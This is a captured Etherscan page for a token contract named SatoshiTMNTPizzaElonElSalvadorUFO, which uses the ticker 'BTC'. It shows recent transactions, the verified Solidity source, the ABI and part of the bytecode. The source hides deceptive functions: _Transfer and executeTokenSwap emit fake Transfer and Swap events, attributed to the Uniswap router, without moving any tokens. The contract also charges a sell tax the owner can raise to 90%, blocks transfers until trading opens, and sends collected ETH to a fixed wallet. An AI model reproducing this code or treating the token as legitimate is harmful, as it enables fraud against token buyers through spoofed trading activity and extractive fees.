Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 333 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer | 20785012 | 111 days ago | IN | 0 ETH | 0.0018852 | ||||
Transfer | 20118597 | 204 days ago | IN | 0 ETH | 0.00179392 | ||||
Approve | 19569657 | 281 days ago | IN | 0 ETH | 0.0011177 | ||||
Approve | 18953135 | 367 days ago | IN | 0 ETH | 0.00151256 | ||||
Approve | 18652571 | 409 days ago | IN | 0 ETH | 0.00096112 | ||||
Approve | 18128875 | 483 days ago | IN | 0 ETH | 0.00040163 | ||||
Approve | 17933536 | 510 days ago | IN | 0 ETH | 0.00092847 | ||||
Transfer | 17933531 | 510 days ago | IN | 0 ETH | 0.00132802 | ||||
Transfer | 17911204 | 513 days ago | IN | 0 ETH | 0.00123598 | ||||
Approve | 17902439 | 514 days ago | IN | 0 ETH | 0.00058582 | ||||
Approve | 17901956 | 514 days ago | IN | 0 ETH | 0.00064853 | ||||
Approve | 17899974 | 515 days ago | IN | 0 ETH | 0.0006699 | ||||
Approve | 17899740 | 515 days ago | IN | 0 ETH | 0.00082963 | ||||
Approve | 17897911 | 515 days ago | IN | 0 ETH | 0.00059857 | ||||
Approve | 17897906 | 515 days ago | IN | 0 ETH | 0.00060062 | ||||
Approve | 17896735 | 515 days ago | IN | 0 ETH | 0.0003234 | ||||
Approve | 17896731 | 515 days ago | IN | 0 ETH | 0.00059655 | ||||
Approve | 17896592 | 515 days ago | IN | 0 ETH | 0.00070968 | ||||
Approve | 17896546 | 515 days ago | IN | 0 ETH | 0.00062454 | ||||
Approve | 17896525 | 515 days ago | IN | 0 ETH | 0.00071233 | ||||
Approve | 17896517 | 515 days ago | IN | 0 ETH | 0.00054729 | ||||
Approve | 17896511 | 515 days ago | IN | 0 ETH | 0.00061474 | ||||
Approve | 17896488 | 515 days ago | IN | 0 ETH | 0.00060084 | ||||
Approve | 17896375 | 515 days ago | IN | 0 ETH | 0.00035012 | ||||
Approve | 17895656 | 515 days ago | IN | 0 ETH | 0.00057554 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
20118597 | 204 days ago | 0.0064912 ETH | ||||
20118597 | 204 days ago | 0.0064912 ETH | ||||
18953138 | 367 days ago | 0.00505599 ETH | ||||
18953138 | 367 days ago | 0.00505599 ETH | ||||
17896513 | 515 days ago | 0.00767209 ETH | ||||
17896513 | 515 days ago | 0.00767209 ETH | ||||
17895363 | 515 days ago | 0.01282129 ETH | ||||
17895363 | 515 days ago | 0.01282129 ETH | ||||
17894912 | 515 days ago | 0.02058306 ETH | ||||
17894912 | 515 days ago | 0.02058306 ETH | ||||
17893550 | 515 days ago | 0.03135083 ETH | ||||
17893550 | 515 days ago | 0.03135083 ETH | ||||
17892970 | 516 days ago | 0.02820597 ETH | ||||
17892970 | 516 days ago | 0.02820597 ETH | ||||
17891020 | 516 days ago | 0.07019631 ETH | ||||
17891020 | 516 days ago | 0.07019631 ETH | ||||
17890303 | 516 days ago | 0.08418935 ETH | ||||
17890303 | 516 days ago | 0.08418935 ETH | ||||
17889996 | 516 days ago | 0.06788097 ETH | ||||
17889996 | 516 days ago | 0.06788097 ETH | ||||
17889883 | 516 days ago | 0.15095009 ETH | ||||
17889883 | 516 days ago | 0.15095009 ETH | ||||
17889481 | 516 days ago | 0.03462124 ETH | ||||
17889481 | 516 days ago | 0.03462124 ETH | ||||
17888947 | 516 days ago | 0.02948615 ETH |
Loading...
Loading
Contract Name:
SatoshiTMNTPizzaElonElSalvadorUFO
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-10 */ /** Website: https://bitcoinpizzaufo.lol/ Telegram: https://t.me/BitcoinPizzaUFO */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SatoshiTMNTPizzaElonElSalvadorUFO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"SatoshiTMNTPizzaElonElSalvadorUFO"; string private constant _symbol = unicode"BTC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 35; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping (address => uint256) private _buyMap; address payable private _PizzaAddress = payable(0xd31343CaCB9e9De113DBbDf917A0FD0201218F65); address payable private _ElonAddress = payable(0xd31343CaCB9e9De113DBbDf917A0FD0201218F65); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 20000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_PizzaAddress] = true; _isExcludedFromFee[_ElonAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _ElonAddress.transfer(amount); } function startTradingYouDegens() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _PizzaAddress || _msgSender() == _ElonAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _PizzaAddress || _msgSender() == _ElonAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function settheTaxes(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 60); require((redisFeeOnSell + taxFeeOnSell) <= 90); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function settheswapbackamount(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function settheMaxTxAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; uint256 limit = totalSupply().mul(5).div(1000); require(maxTxAmount >= limit, "Max TX cannot be less than .5%"); } function settheMaxWalletAmount(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; uint256 limit = totalSupply().mul(5).div(1000); require(maxWalletSize >= limit, "Max Wallet cannot be less than .5%"); } function excludeMultipleWalletsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function removethetokenLimits() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleWalletsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removethetokenLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"settheMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"settheMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"settheTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"settheswapbackamount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradingYouDegens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001a683635c9adc5dea000005f196200035a565b62000027905f196200037a565b6006555f6008819055600f6009819055600a8290556023600b819055600c839055600d819055600e9290925555601180546001600160a01b031990811673d31343cacb9e9de113dbbdf917a0fd0201218f659081179092556012805490911690911790556014805462ffffff60a01b1916600160b01b1790556801158e460913d000006015819055601655678ac7230489e80000601755348015620000ca575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f9081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000184573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001aa9190620003a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021c9190620003a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000267573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028d9190620003a0565b601480546001600160a01b0319166001600160a01b039283161790555f80548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601154851684528284208054821683179055601254909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef683635c9adc5dea000006040516200034b91815260200190565b60405180910390a350620003cf565b5f826200037557634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200039a57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f60208284031215620003b1575f80fd5b81516001600160a01b0381168114620003c8575f80fd5b9392505050565b61206a80620003dd5f395ff3fe6080604052600436106101bd575f3560e01c8063715018a6116100f2578063a9059cbb11610092578063dd62ed3e11610062578063dd62ed3e146104ba578063dde83eca146104fe578063e156b1b61461051d578063f2fde38b1461053c575f80fd5b8063a9059cbb14610454578063bbfd41df14610473578063c3c8cd8014610492578063c5777b1d146104a6575f80fd5b80638546fc7e116100cd5780638546fc7e146103d95780638da5cb5b146103f85780638f9a55c01461041457806395d89b4114610429575f80fd5b8063715018a6146103915780637d1db4a5146103a55780637da8d1b7146103ba575f80fd5b80632fd689e31161015d57806361ce7bfa1161013857806361ce7bfa1461032b5780636d8aa8f81461033f5780636fc3eaec1461035e57806370a0823114610372575f80fd5b80632fd689e3146102dc578063313ce567146102f157806349bd5a5e1461030c575f80fd5b806318160ddd1161019857806318160ddd146102585780631ae1ffbc1461027d5780631b5573d11461029c57806323b872dd146102bd575f80fd5b806306fdde03146101c8578063095ea7b3146101f25780631694505e14610221575f80fd5b366101c457005b5f80fd5b3480156101d3575f80fd5b506101dc61055b565b6040516101e99190611a8c565b60405180910390f35b3480156101fd575f80fd5b5061021161020c366004611afb565b61057b565b60405190151581526020016101e9565b34801561022c575f80fd5b50601354610240906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b348015610263575f80fd5b50683635c9adc5dea000005b6040519081526020016101e9565b348015610288575f80fd5b50610211610297366004611bf5565b610591565b3480156102a7575f80fd5b506102bb6102b6366004611cf8565b6107b5565b005b3480156102c8575f80fd5b506102116102d7366004611d0f565b6107ec565b3480156102e7575f80fd5b5061026f60175481565b3480156102fc575f80fd5b50604051600981526020016101e9565b348015610317575f80fd5b50601454610240906001600160a01b031681565b348015610336575f80fd5b506102bb610853565b34801561034a575f80fd5b506102bb610359366004611d5a565b610890565b348015610369575f80fd5b506102bb6108d7565b34801561037d575f80fd5b5061026f61038c366004611d75565b610921565b34801561039c575f80fd5b506102bb610942565b3480156103b0575f80fd5b5061026f60155481565b3480156103c5575f80fd5b506102bb6103d4366004611cf8565b6109b3565b3480156103e4575f80fd5b506102bb6103f3366004611d90565b610a5a565b348015610403575f80fd5b505f546001600160a01b0316610240565b34801561041f575f80fd5b5061026f60165481565b348015610434575f80fd5b5060408051808201909152600381526242544360e81b60208201526101dc565b34801561045f575f80fd5b5061021161046e366004611afb565b610ac3565b34801561047e575f80fd5b506102bb61048d366004611cf8565b610acf565b34801561049d575f80fd5b506102bb610b75565b3480156104b1575f80fd5b506102bb610bc7565b3480156104c5575f80fd5b5061026f6104d4366004611dbf565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610509575f80fd5b506102bb610518366004611df6565b610c05565b348015610528575f80fd5b50610211610537366004611d0f565b610ca2565b348015610547575f80fd5b506102bb610556366004611d75565b610cfa565b606060405180606001604052806021815260200161201460219139905090565b5f610587338484610de1565b5060015b92915050565b5f805b85518110156107a8578581815181106105af576105af611e75565b60200260200101516001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181106105fd576105fd611e75565b602002602001015160405161061491815260200190565b60405180910390a385818151811061062e5761062e611e75565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82287848151811061069057610690611e75565b60200260200101515f808987815181106106ac576106ac611e75565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b68783815181106106fa576106fa611e75565b60200260200101518987858151811061071557610715611e75565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610771573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107959190611e89565b50806107a081611eb8565b915050610594565b5060019695505050505050565b5f546001600160a01b031633146107e75760405162461bcd60e51b81526004016107de90611ed0565b60405180910390fd5b601755565b5f6107f8848484610f04565b610849843361084485604051806060016040528060288152602001611fec602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061139c565b610de1565b5060019392505050565b5f546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107de90611ed0565b683635c9adc5dea000006015819055601655565b5f546001600160a01b031633146108b95760405162461bcd60e51b81526004016107de90611ed0565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6011546001600160a01b0316336001600160a01b0316148061090c57506012546001600160a01b0316336001600160a01b0316145b610914575f80fd5b4761091e816113d4565b50565b6001600160a01b0381165f9081526002602052604081205461058b9061140b565b5f546001600160a01b0316331461096b5760405162461bcd60e51b81526004016107de90611ed0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109dc5760405162461bcd60e51b81526004016107de90611ed0565b60158190555f610a046103e86109fe6005683635c9adc5dea000005b9061148d565b9061150b565b905080821015610a565760405162461bcd60e51b815260206004820152601e60248201527f4d61782054582063616e6e6f74206265206c657373207468616e202e3525000060448201526064016107de565b5050565b5f546001600160a01b03163314610a835760405162461bcd60e51b81526004016107de90611ed0565b603c610a8f8386611f05565b1115610a99575f80fd5b605a610aa58285611f05565b1115610aaf575f80fd5b600893909355600a91909155600955600b55565b5f610587338484610f04565b5f546001600160a01b03163314610af85760405162461bcd60e51b81526004016107de90611ed0565b60168190555f610b186103e86109fe6005683635c9adc5dea000006109f8565b905080821015610a565760405162461bcd60e51b8152602060048201